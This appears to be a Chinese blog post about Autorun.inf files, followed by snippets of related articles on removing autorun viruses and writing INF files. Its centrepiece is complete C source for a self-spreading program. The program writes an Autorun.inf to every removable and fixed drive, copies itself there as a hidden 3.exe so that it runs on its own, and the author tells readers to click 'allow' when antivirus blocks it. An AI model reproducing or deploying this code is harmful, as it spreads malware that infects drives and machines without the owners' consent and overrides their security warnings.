关于Autorun.inf文件

配置Autorun.inf文件可以使双击磁盘时,自动运行某一应用程序。但是现在只支持CD或者DVD媒体了(以前硬盘也可以)

关于Autorun.inf的组成部分可以参考https://msdn.microsoft.com/zh-cn/cc144200

c语言编写程序的原理是,遍历C~Z所有分区,检查其类型,对所有DRIVE_REMOVABLE||DRIVE_FIXED类型的分区,写入使自身自动运行的Autorun.inf文件,将自身复制到相应分区的根目录下,同时将自己的属性设置为隐藏

程序如下:

 1 #include<stdio.h>
 2 #include<windows.h>
 3
 4 int main()
 5 {
 6     char Disk=NULL;
 7     UINT Type=0;
 8     FILE *fp;
 9     char strFileName[MAX_PATH]={0};
10     char szDriveName[4]={0};
11     wsprintf(szDriveName,"C:\0");
12
13     for(szDriveName[0]=‘C‘;szDriveName[0]<‘Z‘;szDriveName[0]++)
14     {
15         Type=GetDriveType(szDriveName);
16         if((Type==DRIVE_REMOVABLE)||(Type==DRIVE_FIXED))
17         {
18             Disk=szDriveName[0];
19             sprintf(strFileName,"%c:\\Autorun.inf",Disk);
20             fp=fopen(strFileName,"w+");
21             fprintf(fp,"[AutoRun]\n");
22             fprintf(fp,"OPEN=3.exe\n");
23             fprintf(fp,"SHELLEXECUTE=3.exe\n");
24             fprintf(fp,"shell\\Auto\\command=3.exe\n");
25             fprintf(fp,"shell=Auto");
26             fclose(fp);
27
28             char selfPath[MAX_PATH];
29             char allRootPath[30];
30             GetModuleFileName(0,selfPath,MAX_PATH);
31             sprintf(allRootPath,"%c:\\3.exe",Disk);
32             CopyFile(selfPath,allRootPath,TRUE);
33             SetFileAttributes(allRootPath,FILE_ATTRIBUTE_HIDDEN);
34         }
35     }
36     return 0;
37 }

程序被杀毒软件阻止了,点击允许操作就好

时间: 2024-08-05 12:04:20

关于Autorun.inf文件的相关文章

Autorun.inf文件(2):改变硬盘分区图标

改变F盘图标. 原理:在f盘下新建一个Autorun.inf文件,文件内容是 [AutoRun]icon=favicon.ico准备名为favicon.ico图标文件,将其放在工程目录里,设计程序将它移动到f盘下 令计算机重启使Atuorun.inf生效. 完整程序如下: 1 #include<windows.h> 2 #include <tchar.h> 3 #include<stdio.h> 4 5 int main() 6 { 7 //复制favicon.ico到

如何清除U盘中的ink和autorun.inf病毒

u盘病毒是通过u盘传播的.随着u盘发展,u盘病毒也在不断的发展,最近有朋友遇上了u盘里的文件夹都变成了lnk类型打不开,这是怎么回事?又该怎么解决呢? ".lnk"是windows系统默认的快捷方式的扩展名,是用于指向其他文件的一种文件.这些文件通常称为快捷方式文件.通常以快捷方式放在桌面上以方便使用.如      果设置为"隐藏已知文件类型的扩展名",正常情况下".lnk"是不显示的.但是快捷方式的扩展名显现出来的话,就说明windows设置被

如何清除U盘内的autorun.inf病毒

我们常常会在硬盘的各个分区根目录下面看到"Autorun.inf"这样的文件,并且用鼠标双击磁盘分区图标时,往往无法打开对应分区窗口;遭遇类似上述现象时,那几乎就能断定本地计算机系统已经感染了近来非常猖獗的闪盘病毒,这种病毒一般通过"Autorun.inf"文件进行传播. 当计算机系统不小心感染了"Autorun.inf"文件病毒时,该病毒就会自动在本地硬盘的所有分区根目录下面创建一个"Autorun.inf"文件,该文件在默

U盘中的autorun.inf

怎么删除u盘里的autorun.inf 如果U盘中毒,刚插进机子时按住SHIFT五秒,这样就可以跳过预读,这样防止了预读时把病毒感染到机子上,在U盘盘符上点右键,看看有没有“Auto”选项: 1.如果有,不选它,选下面的“打开”,进入U盘之后在“工具”--“文件夹选项”--“查看”里把‘不隐藏系统文件’和‘显示所有文件’选中,就可以看到U盘下的隐藏文件,一般来说,U盘根目录里有个autorun.inf(一个带齿轮的记事本)就应该是有病毒了,把它删掉,再把根目录下所有EXE文件删掉(这是对于非计算

安全类工具制作第001篇:制作AutoRun.inf免疫程序

一.前言 我曾经在<反病毒攻防研究第006篇:利用WinRAR与AutoRun.inf实现自启动>那篇文章中讨论过AutoRun.inf的原理与应对方法,作为对这个问题的收尾,我打算在此讨论一下如何利用MFC开发一个简单的免疫程序.尽管如今我们应该已经不会再受到AutoRun.inf的肆虐,但是这其中包含的很多思想依旧值得探讨.需要强调的是,这篇文章的重点在于预防,也就是在还没有受到AutoRun.inf的威胁时该如何给自己的计算机打预防针.如果计算机中了AutoRun.inf的破坏,可参考反

安装程序不能验证Update.inf文件的完整性,请确定加密服务正在此计算机上执行

近期安装Microsoft .NET Framework 4(独立安装程序)时,提示"安装程序不能验证Update.inf文件的完整性,请确定加密服务正在此计算机上执行" 没法放狗 方案一: 1.我的电脑"右键"管理"→打开"计算机管理"→   点击"服务",在服务管理器的主窗体服务列表中,找到名称为"Cryptographic Services"的服务项,双击该服务项, 在弹出的该服务项属性对话

OCX调用dll打成cab包时候inf文件编写

动态库:kdm_dll.dll ocx控件:UnionKdm.ocx inf文件:UnionKdm.inf 其中inf文件编写方式格式如下: [version] signature="$CHICAGO$" AdvancedINF=2.0 [DefaultInstall] CopyFiles=InstallFilesSection,InstallInfSection RegisterOCXs=RegisterOCXSection [DefaultUninstall] cleanup=1

active cab inf文件编写

最近做了一个网页下载控件.主要就是实现ActiveX控件功能. 由于自己是第一次做,不熟悉其过程.中间走了很多弯路.现在把走过得路程记录部分,希望对其他人可以有点用. 首先制作一个你自己的DLL文件.这里就不累述DLL的制作了.网上DLL的制作多的是.下面介绍下inf文件的写. 在自己弄的过程中在网络上也搜索了很多资料.但都不全面,甚至有错误.下面自己的一点心得和大家分享下: inf文件主要节点(也是我在制作中使用的节点,未使用到的我在此处也就没有发言权啦^_^): [Version] inf的

Windows驱动 INF文件

参考一:百度百科 参考二:INF文件的节 参考三:wikipedia 参考四:MSDN: INF File INF文件的节 INF文件是一个文本文件,由许多按层次结构排列的节组成,他们以方括号中的节名称开始,如[Version].[Manufacturer]等,后面是改接所含有的各个项,如Signature.DriverVer等.节中各项的基本定义格式为 entry=value[,value…] 其中,“entry”标示项名称,“value”标示该想的取值.节名和项名称都不区分大小写,且对于Wi